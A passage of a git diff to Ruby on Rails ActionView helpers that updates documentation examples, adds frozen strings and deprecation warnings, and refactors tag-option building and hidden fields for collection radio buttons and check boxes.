<tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this @@ -80,7 +80,7 @@ module ActionView # # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled. # - # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }}) + # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: -> (category) { category.archived? }}) # # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return: # <select name="post[category_id]" id="post_category_id"> @@ -112,8 +112,8 @@ module ActionView # <select name="post[person_id]" id="post_person_id"> # <option value=""></option> # <option value="1" selected="selected">David</option> - # <option value="2">Sam</option> - # <option value="3">Tobias</option> + # <option value="2">Eileen</option> + # <option value="3">Rafael</option> # </select> # # assuming the associated person has ID 1. @@ -268,10 +268,11 @@ module ActionView # for more information.) # # You can also supply an array of ActiveSupport::TimeZone objects - # as +priority_zones+, so that they will be listed above the rest of the - # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience - # for obtaining a list of the US time zones, or a Regexp to select the zones - # of your choice) + # as +priority_zones+ so that they will be listed above the rest of the + # (long) list. You can use ActiveSupport::TimeZone.us_zones for a list + # of US time zones, ActiveSupport::TimeZone.country_zones(country_code) + # for another country's time zones, or a Regexp to select the zones of + # your choice. # # Finally, this method supports a <tt>:default</tt> option, which selects # a default ActiveSupport::TimeZone if the object's time zone is +nil+. @@ -410,7 +411,7 @@ module ActionView # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags. # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an # array of child objects representing the <tt><option></tt> tags. - # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a + # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag. # * +option_key_method+ - The name of a method which, when called on a child object of a member of # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag. @@ -456,7 +457,7 @@ module ActionView option_tags = options_from_collection_for_select( group.send(group_method), option_key_method, option_value_method, selected_key) - content_tag(:optgroup, option_tags, label: group.send(group_label_method)) + content_tag("optgroup".freeze, option_tags, label: group.send(group_label_method)) end.join.html_safe end @@ -528,7 +529,7 @@ module ActionView body = "".html_safe if prompt - body.safe_concat content_tag(:option, prompt_text(prompt), value: "") + body.safe_concat content_tag("option".freeze, prompt_text(prompt), value: "") end grouped_options.each do |container| @@ -541,14 +542,14 @@ module ActionView end html_attributes = { label: label }.merge!(html_attributes) - body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), html_attributes) + body.safe_concat content_tag("optgroup".freeze, options_for_select(container, selected_key), html_attributes) end body end # Returns a string of option tags for pretty much any time zone in the - # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it + # world. Supply an ActiveSupport::TimeZone name as +selected+ to have it # marked as the selected option tag. You can also supply an array of # ActiveSupport::TimeZone objects as +priority_zones+, so that they will # be listed above the rest of the (long) list. (You can use @@ -556,7 +557,7 @@ module ActionView # of the US time zones, or a Regexp to select the zones of your choice) # # The +selected+ parameter must be either +nil+, or a string that names - # a ActiveSupport::TimeZone. + # an ActiveSupport::TimeZone. # # By default, +model+ is the ActiveSupport::TimeZone constant (which can # be obtained in Active Record as a value object). The only requirement @@ -577,7 +578,7 @@ module ActionView end zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected) - zone_options.safe_concat content_tag(:option, '-------------', value: '', disabled: true) + zone_options.safe_concat content_tag("option".freeze, '-------------', value: '', disabled: true) zone_options.safe_concat "\n" zones = zones - priority_zones @@ -644,6 +645,24 @@ module ActionView # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b| # b.label(:"data-value" => b.value) { b.radio_button + b.text } # end + # + # ==== Gotcha + # + # The HTML specification says when nothing is select on a collection of radio buttons + # web browsers do not send any value to server. + # Unfortunately this introduces a gotcha: + # if a +User+ model has a +category_id+ field, and in the form none category is selected no +category_id+ parameter is sent. So, + # any strong parameters idiom like + # + # params.require(:user).permit(...) + # + # will raise an error since no +{user: ...}+ will be present. + # + # To prevent this the helper generates an auxiliary hidden field before + # every collection of radio buttons. The hidden field has the same name as collection radio button and blank value. + # + # In case if you don't want the helper to generate this hidden field you can specify + # <tt>include_hidden: false</tt> option. def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block) Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block) end @@ -707,6 +726,27 @@ module ActionView # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b| # b.label(:"data-value" => b.value) { b.check_box + b.text } # end + # + # ==== Gotcha + # + # When no selection is made for a collection of checkboxes most + # web browsers will not send any value. + # + # For example, if we have a +User+ model with +category_ids+ field and we + # have the following code in our update action: + # + # @user.update(params[:user]) + # + # If no +category_ids+ are selected then we can safely assume this field + # will not be updated. + # + # This is possible thanks to a hidden field generated by the helper method + # for every collection of checkboxes. + # This hidden field is given the same field name as the checkboxes with a + # blank value. + # + # In the rare case you don't want this hidden field, you can pass the + # <tt>include_hidden: false</tt> option to the helper method. def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block) Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block) end diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb index 65a0548ffb..cfff0bef5d 100644 --- a/actionview/lib/action_view/helpers/form_tag_helper.rb +++ b/actionview/lib/action_view/helpers/form_tag_helper.rb @@ -20,7 +20,7 @@ module ActionView mattr_accessor :embed_authenticity_token_in_remote_forms self.embed_authenticity_token_in_remote_forms = false - # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like + # Starts a form tag that points the action to a url configured with <tt>url_for_options</tt> just like # ActionController::Base#url_for. The method for the form defaults to POST. # # ==== Options @@ -80,7 +80,7 @@ module ActionView # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box. # # ==== Options - # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices. + # * <tt>:multiple</tt> - If set to true, the selection will allow multiple choices. # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input. # * <tt>:include_blank</tt> - If set to true, an empty option will be created. If set to a string, the string will be used as the option's content and the value will be empty. # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something. @@ -93,22 +93,22 @@ module ActionView # select_tag "people", options_from_collection_for_select(@people, "id", "name", "1") # # <select id="people" name="people"><option value="1" selected="selected">David</option></select> # - # select_tag "people", "<option>David</option>".html_safe + # select_tag "people", raw("<option>David</option>") # # => <select id="people" name="people"><option>David</option></select> # - # select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe + # select_tag "count", raw("<option>1</option><option>2</option><option>3</option><option>4</option>") # # => <select id="count" name="count"><option>1</option><option>2</option> # # <option>3</option><option>4</option></select> # - # select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true + # select_tag "colors", raw("<option>Red</option><option>Green</option><option>Blue</option>"), multiple: true # # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option> # # <option>Green</option><option>Blue</option></select> # - # select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe + # select_tag "locations", raw("<option>Home</option><option selected='selected'>Work</option><option>Out</option>") # # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option> # # <option>Out</option></select> # - # select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input', id: 'unique_id' + # select_tag "access", raw("<option>Read</option><option>Write</option>"), multiple: true, class: 'form_input', id: 'unique_id' # # => <select class="form_input" id="unique_id" multiple="multiple" name="access[]"><option>Read</option> # # <option>Write</option></select> # @@ -121,7 +121,7 @@ module ActionView # select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something" # # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select> # - # select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true + # select_tag "destination", raw("<option>NYC</option><option>Paris</option><option>Rome</option>"), disabled: true # # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option> # # <option>Paris</option><option>Rome</option></select> # @@ -140,15 +140,15 @@ module ActionView end if include_blank - option_tags = content_tag(:option, include_blank, value: '').safe_concat(option_tags) + option_tags = content_tag("option".freeze, include_blank, value: '').safe_concat(option_tags) end end if prompt = options.delete(:prompt) - option_tags = content_tag(:option, prompt, value: '').safe_concat(option_tags) + option_tags = content_tag("option".freeze, prompt, value: '').safe_concat(option_tags) end - content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys) + content_tag "select".freeze, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys) end # Creates a standard text field; use these text fields to input smaller chunks of text like a username @@ -414,42 +414,57 @@ module ActionView # the form is processed normally, otherwise no action is taken. # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a # disabled version of the submit button when the form is submitted. This feature is - # provided by the unobtrusive JavaScript driver. + # provided by the unobtrusive JavaScript driver. To disable this feature for a single submit tag + # pass <tt>:data => { disable_with: false }</tt> Defaults to value attribute. # # ==== Examples # submit_tag - # # => <input name="commit" type="submit" value="Save changes" /> + # # => <input name="commit" data-disable-with="Save changes" type="submit" value="Save changes" /> # # submit_tag "Edit this article" - # # => <input name="commit" type="submit" value="Edit this article" /> + # # => <input name="commit" data-disable-with="Edit this article" type="submit" value="Edit this article" /> # # submit_tag "Save edits", disabled: true - # # => <input disabled="disabled" name="commit" type="submit" value="Save edits" /> + # # => <input disabled="disabled" name="commit" data-disable-with="Save edits" type="submit" value="Save edits" /> # - # submit_tag "Complete sale", data: { disable_with: "Please wait..." } - # # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" /> + # submit_tag "Complete sale", data: { disable_with: "Submitting..." } + # # => <input name="commit" data-disable-with="Submitting..." type="submit" value="Complete sale" /> # # submit_tag nil, class: "form_submit" # # => <input class="form_submit" name="commit" type="submit" /> # # submit_tag "Edit", class: "edit_button" - # # => <input class="edit_button" name="commit" type="submit" value="Edit" /> + # # => <input class="edit_button" data-disable-with="Edit" name="commit" type="submit" value="Edit" /> # # submit_tag "Save", data: { confirm: "Are you sure?" } - # # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" /> + # # => <input name='commit' type='submit' value='Save' data-disable-with="Save" data-confirm="Are you sure?" /> # def submit_tag(value = "Save changes", options = {}) options = options.stringify_keys + tag_options = { "type" => "submit", "name" => "commit", "value" => value }.update(options) + + if ActionView::Base.automatically_disable_submit_tag + unless tag_options["data-disable-with"] == false || (tag_options["data"] && tag_options["data"][:disable_with] == false) + disable_with_text = tag_options["data-disable-with"] + disable_with_text ||= tag_options["data"][:disable_with] if tag_options["data"] + disable_with_text ||= value.to_s.clone + tag_options.deep_merge!("data" => { "disable_with" => disable_with_text }) + else + tag_options["data"].delete(:disable_with) if tag_options["data"] + end + tag_options.delete("data-disable-with") + end - tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options) + tag :input, tag_options end # Creates a button element that defines a <tt>submit</tt> button, # <tt>reset</tt>button or a generic button which can be used in # JavaScript, for example. You can use the button tag as a regular # submit tag but it isn't supported in legacy browsers. However, - # the button tag allows richer labels such as images and emphasis, - # so this helper will also accept a block. + # the button tag does allow for richer labels such as images and emphasis, + # so this helper will also accept a block. By default, it will create + # a button tag with type `submit`, if type is not given. # # ==== Options # * <tt>:data</tt> - This option can be used to add custom data attributes. @@ -472,6 +487,15 @@ module ActionView # button_tag # # => <button name="button" type="submit">Button</button> # + # button_tag 'Reset', type: 'reset' + # # => <button name="button" type="reset">Reset</button> + # + # button_tag 'Button', type: 'button' + # # => <button name="button" type="button">Button</button> + # + # button_tag 'Reset', type: 'reset', disabled: true + # # => <button name="button" type="reset" disabled="disabled">Reset</button> + # # button_tag(type: 'button') do # content_tag(:strong, 'Ask me!') # end @@ -479,6 +503,9 @@ module ActionView # # <strong>Ask me!</strong> # # </button> # + # button_tag "Save", data: { confirm: "Are you sure?" } + # # => <button name="button" type="submit" data-confirm="Are you sure?">Save</button> + # # button_tag "Checkout", data: { disable_with: "Please wait..." } # # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button> # @@ -555,7 +582,7 @@ module ActionView # # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset> def field_set_tag(legend = nil, options = nil, &block) output = tag(:fieldset, options, true) - output.safe_concat(content_tag(:legend, legend)) unless legend.blank? + output.safe_concat(content_tag("legend".freeze, legend)) unless legend.blank? output.concat(capture(&block)) if block_given? output.safe_concat("</fieldset>") end @@ -664,6 +691,10 @@ module ActionView # * <tt>:step</tt> - The acceptable value granularity. # * Otherwise accepts the same options as text_field_tag. def datetime_field_tag(name, value = nil, options = {}) + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + datetime_field_tag is deprecated and will be removed in Rails 5.1. + Use datetime_local_field_tag instead. + MESSAGE text_field_tag(name, value, options.merge(type: :datetime)) end @@ -835,18 +866,24 @@ module ActionView def extra_tags_for_form(html_options) authenticity_token = html_options.delete("authenticity_token") - method = html_options.delete("method").to_s + method = html_options.delete("method").to_s.downcase method_tag = case method - when /^get$/i # must be case-insensitive, but can't use downcase as might be nil + when 'get' html_options["method"] = "get" '' - when /^post$/i, "", nil + when 'post', '' html_options["method"] = "post" - token_tag(authenticity_token) + token_tag(authenticity_token, form_options: { + action: html_options["action"], + method: "post" + }) else html_options["method"] = "post" - method_tag(method) + token_tag(authenticity_token) + method_tag(method) + token_tag(authenticity_token, form_options: { + action: html_options["action"], + method: method + }) end if html_options.delete("enforce_utf8") { true } diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb index 629c447f3f..ed7e882c94 100644 --- a/actionview/lib/action_view/helpers/javascript_helper.rb +++ b/actionview/lib/action_view/helpers/javascript_helper.rb @@ -21,7 +21,7 @@ module ActionView # Also available through the alias j(). This is particularly helpful in JavaScript # responses, like: # - # $('some_element').replaceWith('<%=j render 'some/element_template' %>'); + # $('some_element').replaceWith('<%= j render 'some/element_template' %>'); def escape_javascript(javascript) if javascript result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] } @@ -47,8 +47,8 @@ module ActionView # tag. # # javascript_tag "alert('All is good')", defer: 'defer' - # - # Returns: + # + # Returns: # <script defer="defer"> # //<![CDATA[ # alert('All is good') @@ -70,7 +70,7 @@ module ActionView content_or_options_with_block end - content_tag(:script, javascript_cdata_section(content), html_options) + content_tag("script".freeze, javascript_cdata_section(content), html_options) end def javascript_cdata_section(content) #:nodoc: diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb index ca8d30e4ef..f0222582c7 100644 --- a/actionview/lib/action_view/helpers/number_helper.rb +++ b/actionview/lib/action_view/helpers/number_helper.rb @@ -1,4 +1,3 @@ - require 'active_support/core_ext/hash/keys' require 'active_support/core_ext/string/output_safety' require 'active_support/number_helper' @@ -24,7 +23,7 @@ module ActionView end end - # Formats a +number+ into a US phone number (e.g., (555) + # Formats a +number+ into a phone number (US by default e.g., (555) # 123-9876). You can customize the format in the +options+ hash. # # ==== Options @@ -36,6 +35,8 @@ module ActionView # end of the generated number. # * <tt>:country_code</tt> - Sets the country code for the phone # number. + # * <tt>:pattern</tt> - Specifies how the number is divided into three + # groups with the custom regexp to override the default format. # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when # the argument is invalid. # @@ -53,6 +54,11 @@ module ActionView # # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".") # # => +1.123.555.1234 x 1343 + # + # number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true) + # # => "(755) 6123-4567" + # number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)) + # # => "133-1234-5678" def number_to_phone(number, options = {}) return unless number options = options.symbolize_keys @@ -64,6 +70,14 @@ module ActionView # Formats a +number+ into a currency string (e.g., $13.65). You # can customize the format in the +options+ hash. # + # The currency unit and number formatting of the current locale will be used + # unless otherwise specified in the provided options. No currency conversion + # is performed. If the user is given a way to change their locale, they will + # also be able to change the relative value of the currency displayed with + # this helper. If your application will ever support multiple locales, you + # may want to specify a constant <tt>:locale</tt> option or consider + # using a library capable of currency conversion. + # # ==== Options # # * <tt>:locale</tt> - Sets the locale to be used for formatting @@ -140,7 +154,7 @@ module ActionView # number_to_percentage(302.24398923423, precision: 5) # => 302.24399% # number_to_percentage(1000, locale: :fr) # => 1 000,000% # number_to_percentage("98a") # => 98a% - # number_to_percentage(100, format: "%n %") # => 100 % + # number_to_percentage(100, format: "%n %") # => 100.000 % # # number_to_percentage("98a", raise: true) # => InvalidNumberError def number_to_percentage(number, options = {}) @@ -262,6 +276,8 @@ module ActionView # number_to_human_size(1234567) # => 1.18 MB # number_to_human_size(1234567890) # => 1.15 GB # number_to_human_size(1234567890123) # => 1.12 TB + # number_to_human_size(1234567890123456) # => 1.1 PB + # number_to_human_size(1234567890123456789) # => 1.07 EB # number_to_human_size(1234567, precision: 2) # => 1.2 MB # number_to_human_size(483989, precision: 2) # => 470 KB # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB @@ -279,7 +295,7 @@ module ActionView # See <tt>number_to_human_size</tt> if you want to print a file # size. # - # You can also define you own unit-quantifier names if you want + # You can also define your own unit-quantifier names if you want # to use other decimal units (eg.: 1500 becomes "1.5 # kilometers", 0.150 becomes "150 milliliters", etc). You may # define a wide range of unit quantifiers, even fractional ones diff --git a/actionview/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb index 1c2a400245..d4b55423a8 100644 --- a/actionview/lib/action_view/helpers/output_safety_helper.rb +++ b/actionview/lib/action_view/helpers/output_safety_helper.rb @@ -22,10 +22,10 @@ module ActionView #:nodoc: # the supplied separator, are HTML escaped unless they are HTML # safe, and the returned string is marked as HTML safe. # - # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />") + # safe_join([raw("<p>foo</p>"), "<p>bar</p>"], "<br />") # # => "<p>foo</p><br /><p>bar</p>" # - # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe) + # safe_join([raw("<p>foo</p>"), raw("<p>bar</p>")], raw("<br />") # # => "<p>foo</p><br /><p>bar</p>" # def safe_join(array, sep=$,) @@ -33,6 +33,36 @@ module ActionView #:nodoc: array.flatten.map! { |i| ERB::Util.unwrapped_html_escape(i) }.join(sep).html_safe end + + # Converts the array to a comma-separated sentence where the last element is + # joined by the connector word. This is the html_safe-aware version of + # ActiveSupport's {Array#to_sentence}[http://api.rubyonrails.org/classes/Array.html#method-i-to_sentence]. + # + def to_sentence(array, options = {}) + options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale) + + default_connectors = { + :words_connector => ', ', + :two_words_connector => ' and ', + :last_word_connector => ', and ' + } + if defined?(I18n) + i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {}) + default_connectors.merge!(i18n_connectors) + end + options = default_connectors.merge!(options) + + case array.length + when 0 + ''.html_safe + when 1 + ERB::Util.html_escape(array[0]) + when 2 + safe_join([array[0], array[1]], options[:two_words_connector]) + else + safe_join([safe_join(array[0...-1], options[:words_connector]), options[:last_word_connector], array[-1]]) + end + end end end end diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb index 827932d8e2..c98f2d74a8 100644 --- a/actionview/lib/action_view/helpers/rendering_helper.rb +++ b/actionview/lib/action_view/helpers/rendering_helper.rb @@ -18,7 +18,7 @@ module ActionView # performs HTML escape on the string first. Setting the content type as # <tt>text/html</tt>. # * <tt>:body</tt> - Renders the text passed in, and inherits the content - # type of <tt>text/html</tt> from <tt>ActionDispatch::Response</tt> + # type of <tt>text/plain</tt> from <tt>ActionDispatch::Response</tt> # object. # # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter diff --git a/actionview/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb index a2e9f37453..f9784c3483 100644 --- a/actionview/lib/action_view/helpers/sanitize_helper.rb +++ b/actionview/lib/action_view/helpers/sanitize_helper.rb @@ -120,7 +120,7 @@ module ActionView attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer # Vendors the full, link and white list sanitizers. - # Provided strictly for compabitility and can be removed in Rails 5. + # Provided strictly for compatibility and can be removed in Rails 5.1. def sanitizer_vendor Rails::Html::Sanitizer end diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb index a87c223a71..42e7358a1d 100644 --- a/actionview/lib/action_view/helpers/tag_helper.rb +++ b/actionview/lib/action_view/helpers/tag_helper.rb @@ -22,9 +22,10 @@ module ActionView TAG_PREFIXES = ['aria', 'data', :aria, :data].to_set - PRE_CONTENT_STRINGS = { - :textarea => "\n" - } + PRE_CONTENT_STRINGS = Hash.new { "".freeze } + PRE_CONTENT_STRINGS[:textarea] = "\n" + PRE_CONTENT_STRINGS["textarea"] = "\n" + # Returns an empty HTML tag of type +name+ which by default is XHTML # compliant. Set +open+ to true to create an open tag compatible @@ -143,24 +144,31 @@ module ActionView def content_tag_string(name, content, options, escape = true) tag_options = tag_options(options, escape) if options content = ERB::Util.unwrapped_html_escape(content) if escape - "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe + "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name]}#{content}</#{name}>".html_safe end def tag_options(options, escape = true) return if options.blank? - attrs = [] + output = "" + sep = " ".freeze options.each_pair do |key, value| if TAG_PREFIXES.include?(key) && value.is_a?(Hash) value.each_pair do |k, v| - attrs << prefix_tag_option(key, k, v, escape) + next if v.nil? + output << sep + output << prefix_tag_option(key, k, v, escape) end elsif BOOLEAN_ATTRIBUTES.include?(key) - attrs << boolean_tag_option(key) if value + if value + output << sep + output << boolean_tag_option(key) + end elsif !value.nil? - attrs << tag_option(key, value, escape) + output << sep + output << tag_option(key, value, escape) end end - " #{attrs * ' '}" unless attrs.empty? + output unless output.empty? end def prefix_tag_option(prefix, key, value, escape) @@ -177,7 +185,7 @@ module ActionView def tag_option(key, value, escape) if value.is_a?(Array) - value = escape ? safe_join(value, " ") : value.join(" ") + value = escape ? safe_join(value, " ".freeze) : value.join(" ".freeze) else value = escape ? ERB::Util.unwrapped_html_escape(value) : value end diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb index acc6443a96..d57f26ba4f 100644 --- a/actionview/lib/action_view/helpers/tags/base.rb +++ b/actionview/lib/action_view/helpers/tags/base.rb @@ -120,7 +120,12 @@ module ActionView def select_content_tag(option_tags, options, html_options) html_options = html_options.stringify_keys add_default_name_and_id(html_options) - options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options) + + if placeholder_required?(html_options) + raise ArgumentError, "include_blank cannot be false for a required field." if options[:include_blank] == false + options[:include_blank] ||= true unless options[:prompt] + end + value = options.fetch(:selected) { value(object) } select = content_tag("select", add_options(option_tags, options, value), html_options) @@ -131,8 +136,9 @@ module ActionView end end - def select_not_required?(html_options) - !html_options["required"] || html_options["multiple"] || html_options["size"].to_i > 1 + def placeholder_required?(html_options) + # See https://html.spec.whatwg.org/multipage/forms.html#attr-select-required + html_options["required"] && !html_options["multiple"] && html_options.fetch("size", 1).to_i == 1 end def add_options(option_tags, options, value = nil) diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb index 1765fa6558..3dda47a458 100644 --- a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb +++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb @@ -9,29 +9,13 @@ module ActionView class CheckBoxBuilder < Builder # :nodoc: def check_box(extra_html_options={}) html_options = extra_html_options.merge(@input_html_options) + html_options[:multiple] = true @template_object.check_box(@object_name, @method_name, html_options, @value, nil) end end def render(&block) - rendered_collection = render_collection do |item, value, text, default_html_options| - default_html_options[:multiple] = true - builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options) - - if block_given? - @template_object.capture(builder, &block) - else - render_component(builder) - end - end - - # Append a hidden field to make sure something will be sent back to the - # server if all check boxes are unchecked. - if @options.fetch(:include_hidden, true) - rendered_collection + hidden_field - else - rendered_collection - end + render_collection_for(CheckBoxBuilder, &block) end private @@ -40,9 +24,8 @@ module ActionView builder.check_box + builder.label end - def hidden_field - hidden_name = @html_options[:name] || "#{tag_name(false, @options[:index])}[]" - @template_object.hidden_field_tag(hidden_name, "", id: nil) + def hidden_field_name #:nodoc: + "#{super}[]" end end end diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb index 8050638363..fb51460c8e 100644 --- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb +++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb @@ -19,6 +19,8 @@ module ActionView def label(label_html_options={}, &block) html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options) + html_options[:for] ||= @input_html_options[:id] if @input_html_options[:id] + @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block) end end @@ -79,6 +81,36 @@ module ActionView yield item, value, text, default_html_options.merge(additional_html_options) end.join.html_safe end + + def render_collection_for(builder_class, &block) #:nodoc: + options = @options.stringify_keys + rendered_collection = render_collection do |item, value, text, default_html_options| + builder = instantiate_builder(builder_class, item, value, text, default_html_options) + + if block_given? + @template_object.capture(builder, &block) + else + render_component(builder) + end + end + + # Prepend a hidden field to make sure something will be sent back to the + # server if all radio buttons are unchecked. + if options.fetch('include_hidden', true) + hidden_field + rendered_collection + else + rendered_collection + end + end + + def hidden_field #:nodoc: + hidden_name = @html_options[:name] || hidden_field_name + @template_object.hidden_field_tag(hidden_name, "", id: nil) + end + + def hidden_field_name #:nodoc: + "#{tag_name(false, @options[:index])}" + end end end end diff --git a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb index 20be34c1f2..21aaf122f8 100644 --- a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb +++ b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb @@ -14,15 +14,7 @@ module ActionView end def render(&block) - render_collection do |item, value, text, default_html_options| - builder = instantiate_builder(RadioButtonBuilder, item, value, text, default_html_options) - - if block_given? - @template_object.capture(builder, &block) - else - render_component(builder) - end - end + render_collection_for(RadioButtonBuilder, &block) end private diff --git a/actionview/lib/action_view/helpers/tags/week_field.rb b/actionview/lib/action_view/helpers/tags/week_field.rb index 5b3d0494e9..835d1667d7 100644 --- a/actionview/lib/action_view/helpers/tags/week_field.rb +++ b/actionview/lib/action_view/helpers/tags/week_field.rb @@ -5,7 +5,7 @@ module ActionView private def format_date(value) - value.try(:strftime, "%Y-W%W") + value.try(:strftime, "%Y-W%V") end end end diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb index c216d4401f..58ce042f12 100644 --- a/actionview/lib/action_view/helpers/text_helper.rb +++ b/actionview/lib/action_view/helpers/text_helper.rb @@ -204,7 +204,12 @@ module ActionView # Attempts to pluralize the +singular+ word unless +count+ is 1. If # +plural+ is supplied, it will use that when count is > 1, otherwise - # it will use the Inflector to determine the plural form. + # it will use the Inflector to determine the plural form for the given locale, + # which defaults to I18n.locale + # + # The word will be pluralized using rules defined for the locale + # (you must define your own inflection rules for languages other than English). + # See ActiveSupport::Inflector.pluralize # # pluralize(1, 'person') # # => 1 person @@ -212,16 +217,26 @@ module ActionView # pluralize(2, 'person') # # => 2 people # - # pluralize(3, 'person', 'users') + # pluralize(3, 'person', plural: 'users') # # => 3 users # # pluralize(0, 'person') # # => 0 people - def pluralize(count, singular, plural = nil) + # + # pluralize(2, 'Person', locale: :de) + # # => 2 Personen + def pluralize(count, singular, deprecated_plural = nil, plural: nil, locale: I18n.locale) + if deprecated_plural + ActiveSupport::Deprecation.warn("Passing plural as a positional argument " \ + "is deprecated and will be removed in Rails 5.1. Use e.g. " \ + "pluralize(1, 'person', plural: 'people') instead.") + plural ||= deprecated_plural + end + word = if (count == 1 || count =~ /^1(\.0+)?$/) singular else - plural || singular.pluralize + plural || singular.pluralize(locale) end "#{count || 0} #{word}" @@ -242,12 +257,15 @@ module ActionView # # word_wrap('Once upon a time', line_width: 1) # # => Once\nupon\na\ntime - def word_wrap(text, options = {}) - line_width = options.fetch(:line_width, 80) - + # + # You can also specify a custom +break_sequence+ ("\n" by default) + # + # word_wrap('Once upon a time', line_width: 1, break_sequence: "\r\n") + # # => Once\r\nupon\r\na\r\ntime + def word_wrap(text, line_width: 80, break_sequence: "\n") text.split("\n").collect! do |line| - line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line - end * "\n" + line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1#{break_sequence}").strip : line + end * break_sequence end # Returns +text+ transformed into HTML using simple formatting rules. diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb index 24b633c5bb..152e1b1211 100644 --- a/actionview/lib/action_view/helpers/translation_helper.rb +++ b/actionview/lib/action_view/helpers/translation_helper.rb @@ -6,53 +6,74 @@ module ActionView # = Action View Translation Helpers 